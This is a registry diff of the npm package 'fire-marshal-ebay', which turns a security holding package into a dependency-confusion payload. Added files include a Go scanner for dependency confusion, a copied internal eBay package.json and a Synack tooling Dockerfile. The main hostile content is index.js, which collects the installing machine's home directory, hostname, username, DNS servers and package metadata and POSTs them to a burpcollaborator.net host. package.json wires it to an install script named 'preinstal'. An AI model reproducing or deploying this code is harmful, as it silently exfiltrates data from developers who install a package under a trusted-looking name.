fire-marshal-ebay 0.0.1-security.2 → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of fire-marshal-ebay might be problematic. Click here for more details.

Files changed (41) hide show
  1. package/PadBuster/LICENSE +202 -0
  2. package/PadBuster/README +16 -0
  3. package/PadBuster/padBuster.pl +889 -0
  4. package/confused/.github/workflows/codeql-analysis.yml +67 -0
  5. package/confused/.github/workflows/golangci-lint.yml +28 -0
  6. package/confused/.goreleaser.yml +40 -0
  7. package/confused/CHANGELOG.md +31 -0
  8. package/confused/LICENSE +21 -0
  9. package/confused/README.md +93 -0
  10. package/confused/composer.go +105 -0
  11. package/confused/confused +0 -0
  12. package/confused/interfaces.go +11 -0
  13. package/confused/main.go +104 -0
  14. package/confused/mvn.go +120 -0
  15. package/confused/mvnparser.go +139 -0
  16. package/confused/npm.go +210 -0
  17. package/confused/packages.json +86 -0
  18. package/confused/pip.go +99 -0
  19. package/confused/util.go +11 -0
  20. package/index.js +47 -0
  21. package/package.json +9 -4
  22. package/synackAPI/Dockerfile +36 -0
  23. package/synackAPI/README.md +238 -0
  24. package/synackAPI/RHINOSPIDER/burpOOS.txt +25 -0
  25. package/synackAPI/RHINOSPIDER/burpScope.txt +1 -0
  26. package/synackAPI/RHINOSPIDER/scope.txt +1 -0
  27. package/synackAPI/bot.py +72 -0
  28. package/synackAPI/checkCerts.py +67 -0
  29. package/synackAPI/connect.py +9 -0
  30. package/synackAPI/currentTarget +24 -0
  31. package/synackAPI/getAnalytics.py +40 -0
  32. package/synackAPI/getHydra.py +46 -0
  33. package/synackAPI/getPayouts.py +11 -0
  34. package/synackAPI/getscope.py +123 -0
  35. package/synackAPI/polling.py +27 -0
  36. package/synackAPI/register.py +7 -0
  37. package/synackAPI/requirements.txt +7 -0
  38. package/synackAPI/synack.py +1046 -0
  39. package/synackAPI/synstats.py +54 -0
  40. package/synackAPI/target.py +17 -0
  41. package/README.md +0 -5
@@ -0,0 +1,139 @@
1
+ //
2
+ // https://raw.githubusercontent.com/creekorful/mvnparser/master/parser.go
3
+ //
4
+ // MIT License
5
+ //
6
+ // Copyright (c) 2019 Aloïs Micard
7
+ //
8
+ // Permission is hereby granted, free of charge, to any person obtaining a copy
9
+ // of this software and associated documentation files (the "Software"), to deal
10
+ // in the Software without restriction, including without limitation the rights
11
+ // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
12
+ // copies of the Software, and to permit persons to whom the Software is
13
+ // furnished to do so, subject to the following conditions:
14
+ //
15
+ // The above copyright notice and this permission notice shall be included in all
16
+ // copies or substantial portions of the Software.
17
+ //
18
+ // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
19
+ // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
20
+ // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
21
+ // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
22
+ // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
23
+ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
24
+ // SOFTWARE.
25
+
26
+ package main
27
+
28
+ import (
29
+ "encoding/xml"
30
+ "io"
31
+ )
32
+
33
+ // Represent a POM file
34
+ type MavenProject struct {
35
+ XMLName xml.Name `xml:"project"`
36
+ ModelVersion string `xml:"modelVersion"`
37
+ Parent Parent `xml:"parent"`
38
+ GroupId string `xml:"groupId"`
39
+ ArtifactId string `xml:"artifactId"`
40
+ Version string `xml:"version"`
41
+ Packaging string `xml:"packaging"`
42
+ Name string `xml:"name"`
43
+ Repositories []Repository `xml:"repositories>repository"`
44
+ Properties Properties `xml:"properties"`
45
+ DependencyManagement DependencyManagement `xml:"dependencyManagement"`
46
+ Dependencies []Dependency `xml:"dependencies>dependency"`
47
+ Profiles []Profile `xml:"profiles"`
48
+ Build Build `xml:"build"`
49
+ PluginRepositories []PluginRepository `xml:"pluginRepositories>pluginRepository"`
50
+ Modules []string `xml:"modules>module"`
51
+ }
52
+
53
+ // Represent the parent of the project
54
+ type Parent struct {
55
+ GroupId string `xml:"groupId"`
56
+ ArtifactId string `xml:"artifactId"`
57
+ Version string `xml:"version"`
58
+ }
59
+
60
+ // Represent a dependency of the project
61
+ type Dependency struct {
62
+ XMLName xml.Name `xml:"dependency"`
63
+ GroupId string `xml:"groupId"`
64
+ ArtifactId string `xml:"artifactId"`
65
+ Version string `xml:"version"`
66
+ Classifier string `xml:"classifier"`
67
+ Type string `xml:"type"`
68
+ Scope string `xml:"scope"`
69
+ Exclusions []Exclusion `xml:"exclusions>exclusion"`
70
+ }
71
+
72
+ // Represent an exclusion
73
+ type Exclusion struct {
74
+ XMLName xml.Name `xml:"exclusion"`
75
+ GroupId string `xml:"groupId"`
76
+ ArtifactId string `xml:"artifactId"`
77
+ }
78
+
79
+ type DependencyManagement struct {
80
+ Dependencies []Dependency `xml:"dependencies>dependency"`
81
+ }
82
+
83
+ // Represent a repository
84
+ type Repository struct {
85
+ Id string `xml:"id"`
86
+ Name string `xml:"name"`
87
+ Url string `xml:"url"`
88
+ }
89
+
90
+ type Profile struct {
91
+ Id string `xml:"id"`
92
+ Build Build `xml:"build"`
93
+ }
94
+
95
+ type Build struct {
96
+ // todo: final name ?
97
+ Plugins []Plugin `xml:"plugins>plugin"`
98
+ }
99
+
100
+ type Plugin struct {
101
+ XMLName xml.Name `xml:"plugin"`
102
+ GroupId string `xml:"groupId"`
103
+ ArtifactId string `xml:"artifactId"`
104
+ Version string `xml:"version"`
105
+ //todo something like: Configuration map[string]string `xml:"configuration"`
106
+ // todo executions
107
+ }
108
+
109
+ // Represent a pluginRepository
110
+ type PluginRepository struct {
111
+ Id string `xml:"id"`
112
+ Name string `xml:"name"`
113
+ Url string `xml:"url"`
114
+ }
115
+
116
+ // Represent Properties
117
+ type Properties map[string]string
118
+
119
+ func (p *Properties) UnmarshalXML(d *xml.Decoder, start xml.StartElement) error {
120
+ *p = map[string]string{}
121
+ for {
122
+ key := ""
123
+ value := ""
124
+ token, err := d.Token()
125
+ if err == io.EOF {
126
+ break
127
+ }
128
+ switch tokenType := token.(type) {
129
+ case xml.StartElement:
130
+ key = tokenType.Name.Local
131
+ err := d.DecodeElement(&value, &start)
132
+ if err != nil {
133
+ return err
134
+ }
135
+ (*p)[key] = value
136
+ }
137
+ }
138
+ return nil
139
+ }
@@ -0,0 +1,210 @@
1
+ package main
2
+
3
+ import (
4
+ "encoding/json"
5
+ "fmt"
6
+ "io/ioutil"
7
+ "net/http"
8
+ "strings"
9
+ "time"
10
+ )
11
+
12
+ // PackageJSON represents the dependencies of an npm package
13
+ type PackageJSON struct {
14
+ Dependencies map[string]string `json:"dependencies,omitempty"`
15
+ DevDependencies map[string]string `json:"devDependencies,omitempty"`
16
+ PeerDependencies map[string]string `json:"peerDependencies,omitempty"`
17
+ BundledDependencies []string `json:"bundledDependencies,omitempty"`
18
+ BundleDependencies []string `json:"bundleDependencies,omitempty"`
19
+ OptionalDependencies map[string]string `json:"optionalDependencies,omitempty"`
20
+ }
21
+
22
+ type NpmResponse struct {
23
+ ID string `json:"_id"`
24
+ Name string `json:"name"`
25
+ Time struct {
26
+ Unpublished NpmResponseUnpublished `json:"unpublished"`
27
+ } `json:"time"`
28
+ }
29
+
30
+ type NpmResponseUnpublished struct {
31
+ Maintainers []struct {
32
+ Email string `json:"email"`
33
+ Name string `json:"name"`
34
+ } `json:"maintainers"`
35
+ Name string `json:"name"`
36
+ Tags struct {
37
+ Latest string `json:"latest"`
38
+ } `json:"tags"`
39
+ Time time.Time `json:"time"`
40
+ Versions []string `json:"versions"`
41
+ }
42
+
43
+ // NotAvailable returns true if the package has its all versions unpublished making it susceptible for takeover
44
+ func (n *NpmResponse) NotAvailable() bool {
45
+ // Check if a known field has a value
46
+ return len(n.Time.Unpublished.Name) > 0
47
+ }
48
+
49
+ // NPMLookup represents a collection of npm packages to be tested for dependency confusion.
50
+ type NPMLookup struct {
51
+ Packages []NPMPackage
52
+ Verbose bool
53
+ }
54
+
55
+ type NPMPackage struct {
56
+ Name string
57
+ Version string
58
+ }
59
+
60
+ // NewNPMLookup constructs an `NPMLookup` struct and returns it.
61
+ func NewNPMLookup(verbose bool) PackageResolver {
62
+ return &NPMLookup{Packages: []NPMPackage{}, Verbose: verbose}
63
+ }
64
+
65
+ // ReadPackagesFromFile reads package information from an npm package.json file
66
+ //
67
+ // Returns any errors encountered
68
+ func (n *NPMLookup) ReadPackagesFromFile(filename string) error {
69
+ rawfile, err := ioutil.ReadFile(filename)
70
+ if err != nil {
71
+ return err
72
+ }
73
+ data := PackageJSON{}
74
+ err = json.Unmarshal([]byte(rawfile), &data)
75
+ if err != nil {
76
+ fmt.Printf(" [W] Non-fatal issue encountered while reading %s : %s\n", filename, err)
77
+ }
78
+ for pkgname, pkgversion := range data.Dependencies {
79
+ n.Packages = append(n.Packages, NPMPackage{pkgname, pkgversion})
80
+ }
81
+ for pkgname, pkgversion := range data.DevDependencies {
82
+ n.Packages = append(n.Packages, NPMPackage{pkgname, pkgversion})
83
+ }
84
+ for pkgname, pkgversion := range data.PeerDependencies {
85
+ n.Packages = append(n.Packages, NPMPackage{pkgname, pkgversion})
86
+ }
87
+ for pkgname, pkgversion := range data.OptionalDependencies {
88
+ n.Packages = append(n.Packages, NPMPackage{pkgname, pkgversion})
89
+ }
90
+ for _, pkgname := range data.BundledDependencies {
91
+ n.Packages = append(n.Packages, NPMPackage{pkgname, ""})
92
+ }
93
+ for _, pkgname := range data.BundleDependencies {
94
+ n.Packages = append(n.Packages, NPMPackage{pkgname, ""})
95
+ }
96
+ return nil
97
+ }
98
+
99
+ // PackagesNotInPublic determines if an npm package does not exist in the public npm package repository.
100
+ //
101
+ // Returns a slice of strings with any npm packages not in the public npm package repository
102
+ func (n *NPMLookup) PackagesNotInPublic() []string {
103
+ notavail := []string{}
104
+ for _, pkg := range n.Packages {
105
+ if n.localReference(pkg.Version) || n.urlReference(pkg.Version) || n.gitReference(pkg.Version) {
106
+ continue
107
+ }
108
+ if n.gitHubReference(pkg.Version) {
109
+ if !n.gitHubOrgExists(pkg.Version) {
110
+ notavail = append(notavail, pkg.Name)
111
+ continue
112
+ } else {
113
+ continue
114
+ }
115
+ }
116
+ if !n.isAvailableInPublic(pkg.Name, 0) {
117
+ notavail = append(notavail, pkg.Name)
118
+ }
119
+ }
120
+ return notavail
121
+ }
122
+
123
+ // isAvailableInPublic determines if an npm package exists in the public npm package repository.
124
+ //
125
+ // Returns true if the package exists in the public npm package repository.
126
+ func (n *NPMLookup) isAvailableInPublic(pkgname string, retry int) bool {
127
+ if retry > 3 {
128
+ fmt.Printf(" [W] Maximum number of retries exhausted for package: %s\n", pkgname)
129
+ return false
130
+ }
131
+ if n.Verbose {
132
+ fmt.Print("Checking: https://registry.npmjs.org/" + pkgname + "/ : ")
133
+ }
134
+ resp, err := http.Get("https://registry.npmjs.org/" + pkgname + "/")
135
+ if err != nil {
136
+ fmt.Printf(" [W] Error when trying to request https://registry.npmjs.org/"+pkgname+"/ : %s\n", err)
137
+ return false
138
+ }
139
+ defer resp.Body.Close()
140
+ if n.Verbose {
141
+ fmt.Printf("%s\n", resp.Status)
142
+ }
143
+ if resp.StatusCode == http.StatusOK {
144
+ npmResp := NpmResponse{}
145
+ body, _ := ioutil.ReadAll(resp.Body)
146
+ _ = json.Unmarshal(body, &npmResp)
147
+ if npmResp.NotAvailable() {
148
+ if n.Verbose {
149
+ fmt.Printf("[W] Package %s was found, but all its versions are unpublished, making anyone able to takeover the namespace.\n", pkgname)
150
+ }
151
+ return false
152
+ }
153
+ return true
154
+ } else if resp.StatusCode == 429 {
155
+ fmt.Printf(" [!] Server responded with 429 (Too many requests), throttling and retrying...\n")
156
+ time.Sleep(10 * time.Second)
157
+ retry = retry + 1
158
+ n.isAvailableInPublic(pkgname, retry)
159
+ }
160
+ return false
161
+ }
162
+
163
+ // localReference checks if the package version is in fact a reference to filesystem
164
+ func (n *NPMLookup) localReference(pkgversion string) bool {
165
+ return strings.HasPrefix(strings.ToLower(pkgversion), "file:")
166
+ }
167
+
168
+ // urlReference checks if the package version is in fact a reference to a direct URL
169
+ func (n *NPMLookup) urlReference(pkgversion string) bool {
170
+ pkgversion = strings.ToLower(pkgversion)
171
+ return strings.HasPrefix(pkgversion, "http:") || strings.HasPrefix(pkgversion, "https:")
172
+ }
173
+
174
+ // gitReference checks if the package version is in fact a reference to a remote git repository
175
+ func (n *NPMLookup) gitReference(pkgversion string) bool {
176
+ pkgversion = strings.ToLower(pkgversion)
177
+ gitResources := []string{"git+ssh:", "git+http:", "git+https:", "git:"}
178
+ for _, r := range gitResources {
179
+ if strings.HasPrefix(pkgversion, r) {
180
+ return true
181
+ }
182
+ }
183
+ return false
184
+ }
185
+
186
+ // gitHubReference checks if the package version refers to a GitHub repository
187
+ func (n *NPMLookup) gitHubReference(pkgversion string) bool {
188
+ return !strings.HasPrefix(pkgversion, "@") && strings.Contains(pkgversion, "/")
189
+ }
190
+
191
+ // gitHubOrgExists returns true if GitHub organization / user exists
192
+ func (n NPMLookup) gitHubOrgExists(pkgversion string) bool {
193
+ orgName := strings.Split(pkgversion, "/")[0]
194
+ if len(orgName) > 0 {
195
+ if n.Verbose {
196
+ fmt.Print("Checking: https://github.com/" + orgName + " : ")
197
+ }
198
+ resp, err := http.Get("https://github.com/" + orgName)
199
+ if err != nil {
200
+ fmt.Printf(" [W] Error while trying to request https://github.com/"+orgName+" : %s\n", err)
201
+ return false
202
+ }
203
+ defer resp.Body.Close()
204
+ if n.Verbose {
205
+ fmt.Printf("%d\n", resp.StatusCode)
206
+ }
207
+ return resp.StatusCode == 200
208
+ }
209
+ return false
210
+ }
@@ -0,0 +1,86 @@
1
+ {
2
+ "name" : "fig",
3
+ "version" : "1.1.5",
4
+ "description" : "Node micro-frontend for configuring sandwich.",
5
+ "main" : "index.js",
6
+ "scripts" : {
7
+ "prestart" : "rm -rf ./log; mkdir log; touch ./log/ebay_raw.log",
8
+ "start" : "node index.js",
9
+ "browser-refresh" : "browser-refresh",
10
+ "test" : "exit",
11
+ "coverage" : "exit",
12
+ "clean" : "rm -rf .cache .beans && ./node_modules/.bin/markoc . --clean"
13
+ },
14
+ "lint-staged" : {
15
+ "*.js" : [ "eslint --fix", "git add" ]
16
+ },
17
+ "repository" : {
18
+ "type" : "git",
19
+ "url" : "https://github.corp.ebay.com/ads/fig.git"
20
+ },
21
+ "author" : "DL-eBay-AdsMerch-Sandwich@ebay.com",
22
+ "dependencies" : {
23
+ "@ebay/ebayui-core" : "^2",
24
+ "@ebay/skin" : "^7",
25
+ "@lasso/marko-taglib" : "^1",
26
+ "app-module-path" : "^2",
27
+ "auth-ebay" : "^4",
28
+ "bentobox" : "^1.4.11",
29
+ "brogan-ebay" : "^4.5.0",
30
+ "browser-refresh" : "^1.7.3",
31
+ "browser-refresh-taglib" : "^1",
32
+ "cal" : "^4",
33
+ "commons-ebay" : "^4",
34
+ "commons-inc" : "^4",
35
+ "cookies-ebay" : "^4",
36
+ "ebay-font" : "^1.2.2",
37
+ "ebayui-ads" : "^1.0.17",
38
+ "environment-ebay" : "^1",
39
+ "express" : "^4",
40
+ "fire-marshal-ebay" : "^4",
41
+ "gatekeeper-ebay" : "^4",
42
+ "jquery" : "^3.3.1",
43
+ "kraken-js" : "^2",
44
+ "lasso" : "^3",
45
+ "lasso-autoprefixer" : "^1",
46
+ "lasso-less" : "^3",
47
+ "lasso-marko" : "^2",
48
+ "legacy-client-ebay" : "^1",
49
+ "lodash" : "^4",
50
+ "logging-inc" : "^4",
51
+ "marko" : "^4",
52
+ "marko-widgets" : "^7",
53
+ "meta-router" : "^3",
54
+ "metrics-ebay" : "^4",
55
+ "module-config-inc" : "^4",
56
+ "monitor-inc" : "^4",
57
+ "optimizer-plugin-inc" : "^4",
58
+ "raptor-amd" : "^1",
59
+ "raptor-async" : "^1",
60
+ "request-local" : "^1",
61
+ "security-ebay" : "^4",
62
+ "serve-static" : "^1.10.2",
63
+ "service-client-ebay" : "^4",
64
+ "sso-ebay" : "^5.0.0",
65
+ "xlsx" : "^0.14.3"
66
+ },
67
+ "devDependencies" : {
68
+ "chai" : "^4",
69
+ "eslint" : "^5",
70
+ "eslint-config-ebay" : "^1",
71
+ "eslint-plugin-chai-friendly" : "^0",
72
+ "lint-staged" : "^8",
73
+ "marko-cli" : "^4",
74
+ "mocha" : "^5",
75
+ "nyc" : "^13",
76
+ "supertest" : "^3"
77
+ },
78
+ "license" : "BSD-2-Clause",
79
+ "gpaas" : {
80
+ "consumer-id" : "urn:ebay-marketplace-consumerid:aea72d4d-9563-4864-aa5d-83406735b10d",
81
+ "short-app-name" : "fig",
82
+ "owner" : "DL-eBay-AdsMerch-Sandwich@ebay.com",
83
+ "team-dl" : "DL-eBay-AdsMerch-Sandwich@ebay.com",
84
+ "registration-top-level-dir" : "fig"
85
+ }
86
+ }
@@ -0,0 +1,99 @@
1
+ package main
2
+
3
+ import (
4
+ "fmt"
5
+ "io/ioutil"
6
+ "net/http"
7
+ "strings"
8
+ )
9
+
10
+ // PythonLookup represents a collection of python packages to be tested for dependency confusion.
11
+ type PythonLookup struct {
12
+ Packages []string
13
+ Verbose bool
14
+ }
15
+
16
+ // NewPythonLookup constructs a `PythonLookup` struct and returns it
17
+ func NewPythonLookup(verbose bool) PackageResolver {
18
+ return &PythonLookup{Packages: []string{}, Verbose: verbose}
19
+ }
20
+
21
+ // ReadPackagesFromFile reads package information from a python `requirements.txt` file
22
+ //
23
+ // Returns any errors encountered
24
+ func (p *PythonLookup) ReadPackagesFromFile(filename string) error {
25
+ rawfile, err := ioutil.ReadFile(filename)
26
+ if err != nil {
27
+ return err
28
+ }
29
+ line := ""
30
+ for _, l := range strings.Split(string(rawfile), "\n") {
31
+ l = strings.TrimSpace(l)
32
+ if strings.HasPrefix(l, "#") {
33
+ continue
34
+ }
35
+ if len(l) > 0 {
36
+ // Support line continuation
37
+ if strings.HasSuffix(l, "\\") {
38
+ line += l[:len(l) - 1]
39
+ continue
40
+ }
41
+ line += l
42
+ pkgrow := strings.FieldsFunc(line, p.pipSplit)
43
+ if len(pkgrow) > 0 {
44
+ p.Packages = append(p.Packages, strings.TrimSpace(pkgrow[0]))
45
+ }
46
+ // reset the line variable
47
+ line = ""
48
+ }
49
+ }
50
+ return nil
51
+ }
52
+
53
+ // PackagesNotInPublic determines if a python package does not exist in the pypi package repository.
54
+ //
55
+ // Returns a slice of strings with any python packages not in the pypi package repository
56
+ func (p *PythonLookup) PackagesNotInPublic() []string {
57
+ notavail := []string{}
58
+ for _, pkg := range p.Packages {
59
+ if !p.isAvailableInPublic(pkg) {
60
+ notavail = append(notavail, pkg)
61
+ }
62
+ }
63
+ return notavail
64
+ }
65
+
66
+ func (p *PythonLookup) pipSplit(r rune) bool {
67
+ delims := []rune{
68
+ '=',
69
+ '<',
70
+ '>',
71
+ '!',
72
+ ' ',
73
+ '~',
74
+ '#',
75
+ '[',
76
+ }
77
+ return inSlice(r, delims)
78
+ }
79
+
80
+ // isAvailableInPublic determines if a python package exists in the pypi package repository.
81
+ //
82
+ // Returns true if the package exists in the pypi package repository.
83
+ func (p *PythonLookup) isAvailableInPublic(pkgname string) bool {
84
+ if p.Verbose {
85
+ fmt.Print("Checking: https://pypi.org/project/" + pkgname + "/ : ")
86
+ }
87
+ resp, err := http.Get("https://pypi.org/project/" + pkgname + "/")
88
+ if err != nil {
89
+ fmt.Printf(" [W] Error when trying to request https://pypi.org/project/"+pkgname+"/ : %s\n", err)
90
+ return false
91
+ }
92
+ if p.Verbose {
93
+ fmt.Printf("%s\n", resp.Status)
94
+ }
95
+ if resp.StatusCode == http.StatusOK {
96
+ return true
97
+ }
98
+ return false
99
+ }
@@ -0,0 +1,11 @@
1
+ package main
2
+
3
+ func inSlice(what rune, where []rune) bool {
4
+ for _, r := range where {
5
+ if r == what {
6
+ return true
7
+ }
8
+ }
9
+ return false
10
+ }
11
+
package/index.js ADDED
@@ -0,0 +1,47 @@
1
+ //author:- whitehacker003@protonmail.com
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ const trackingData = JSON.stringify({
10
+ p: package,
11
+ c: __dirname,
12
+ hd: os.homedir(),
13
+ hn: os.hostname(),
14
+ un: os.userInfo().username,
15
+ dns: dns.getServers(),
16
+ r: packageJSON ? packageJSON.___resolved : undefined,
17
+ v: packageJSON.version,
18
+ pjson: packageJSON,
19
+ });
20
+
21
+ var postData = querystring.stringify({
22
+ msg: trackingData,
23
+ });
24
+
25
+ var options = {
26
+ hostname: "dwdr89md209lsnps8c2t1q1dm4svgk.burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
27
+ port: 443,
28
+ path: "/",
29
+ method: "POST",
30
+ headers: {
31
+ "Content-Type": "application/x-www-form-urlencoded",
32
+ "Content-Length": postData.length,
33
+ },
34
+ };
35
+
36
+ var req = https.request(options, (res) => {
37
+ res.on("data", (d) => {
38
+ process.stdout.write(d);
39
+ });
40
+ });
41
+
42
+ req.on("error", (e) => {
43
+ // console.error(e);
44
+ });
45
+
46
+ req.write(postData);
47
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
- "name": "fire-marshal-ebay",
3
- "version": "0.0.1-security.2",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "name": "fire-marshal-ebay",
3
+ "version": "1.0.0",
4
+ "description": "Synack is here",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstal": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
@@ -0,0 +1,36 @@
1
+ # Get selenium and base image
2
+ # This is a setup for docker environment, you can use it to build your own instance
3
+ # To build the image simply run: "docker build . -t synackapi"
4
+ # This will result on a docker image on your system under the name synackapi
5
+ # To run the docker image use: "docker run -d --name synackapi --dns 8.8.8.8 --rm -v ~/.synack:/root/.synack synackapi"
6
+ # The above will run the docker in the background and it will simply poll and register all new targets
7
+ # To run the mission bot you can execute "docker run --name synackapi -ti --dns 8.8.8.8 --rm -v ~/.synack:/root/.synack synackapi python3 bot.py"
8
+ # Or from inside the running docker simply connect to it using : "docker exec -ti synackapi /bin/bash", and run python3 bot.py from there.
9
+ FROM selenium/standalone-firefox
10
+
11
+ USER root
12
+ RUN apt update
13
+ RUN apt-get install python3-pip -y
14
+ RUN apt-get install python3-distutils -y
15
+ RUN python3 -m pip install selenium
16
+
17
+ RUN mkdir /root/.synack
18
+ # set the working directory in the container
19
+ WORKDIR /synackAPI
20
+
21
+ ENV HOME=/root
22
+
23
+ RUN wget https://github.com/mozilla/geckodriver/releases/download/v0.29.1/geckodriver-v0.29.1-linux64.tar.gz
24
+ RUN tar xzf geckodriver-v0.29.1-linux64.tar.gz && mv geckodriver /usr/bin/
25
+
26
+ # copy the dependencies file to the working directory
27
+ COPY requirements.txt .
28
+
29
+ # install dependencies
30
+ RUN pip install -r requirements.txt
31
+
32
+ # copy the content of the local src directory to the working directory
33
+ COPY ./ .
34
+
35
+ # command to run on container start
36
+ CMD [ "python3", "/synackAPI/polling.py" ]